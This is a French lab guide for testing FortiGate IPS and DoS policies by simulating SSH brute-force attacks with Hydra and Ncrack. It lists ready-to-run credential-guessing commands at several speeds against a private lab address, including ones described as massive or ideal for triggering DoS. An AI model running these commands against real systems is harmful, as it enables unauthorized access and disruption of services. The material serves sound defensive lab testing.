🛠️ Hydra & Ncrack – Tests d'attaque SSH pour LAB FortiGate IPS

Ce document présente les outils Hydra et Ncrack pour simuler des attaques par force brute SSH dans un environnement FortiGate. Il inclut les commandes typiques, les vitesses de test (lente, rapide, modérée), et les effets attendus sur l'IPS et la DoS Policy.

🔐 1. Hydra – Outil de brute force SSH

Hydra est un outil très utilisé pour tester des combinaisons d'identifiants via SSH, FTP, HTTP, etc.

📌 Commandes Hydra (avec explication)

hydra -vV -L users.txt -P passwords.txt -t 1 -W 10 ssh://172.16.1.253
➤ Attaque très lente – 1 tentative toutes les 10 sec.

hydra -vV -L users.txt -P passwords.txt -t 1 -W 5 ssh://172.16.1.253
➤ Attaque lente – espacement de 5 sec.

hydra -vV -L users.txt -P passwords.txt -t 4 ssh://172.16.1.253
➤ Attaque modérée – 4 connexions simultanées, sans délai.

hydra -vV -L users.txt -P passwords.txt -t 8 ssh://172.16.1.253
➤ Attaque rapide – très agressif, idéal pour déclencher DoS ou IPS.

🔐 2. Ncrack – Contrôle plus fin du rythme

Ncrack est développé par l'équipe de Nmap. Il permet un contrôle précis du délai entre les connexions.

📌 Commandes Ncrack (avec explication)

ncrack -vv -p 22 -U users.txt -P passwords.txt -g cd=20s -g CL=1 172.16.1.253
➤ Ultra lent – 1 tentative toutes les 20 secondes.

ncrack -vv -p 22 -U users.txt -P passwords.txt -g cd=10s -g CL=1 172.16.1.253
➤ Lent – espacement de 10 secondes.

ncrack -vv -p 22 -U users.txt -P passwords.txt -g cd=3s -g CL=1 172.16.1.253

➤ Modéré – environ 3 tentatives toutes les 10 sec.

ncrack -vv -p 22 -U users.txt -P passwords.txt -g cd=0s -g CL=10 172.16.1.253

➤ Rapide – attaque massive, bon déclencheur de DoS.

☑ Recommandations pédagogiques

Utilisez Hydra pour les tests de base et les attaques classiques. Utilisez Ncrack pour simuler différentes vitesses d'attaque.
Combinez les outils avec une surveillance IPS (signature ssh.brute.force) et DoS Policy (tcp_syn_flood).
Observez les effets dans les logs, FortiView ou FortiAnalyzer pour valider la configuration.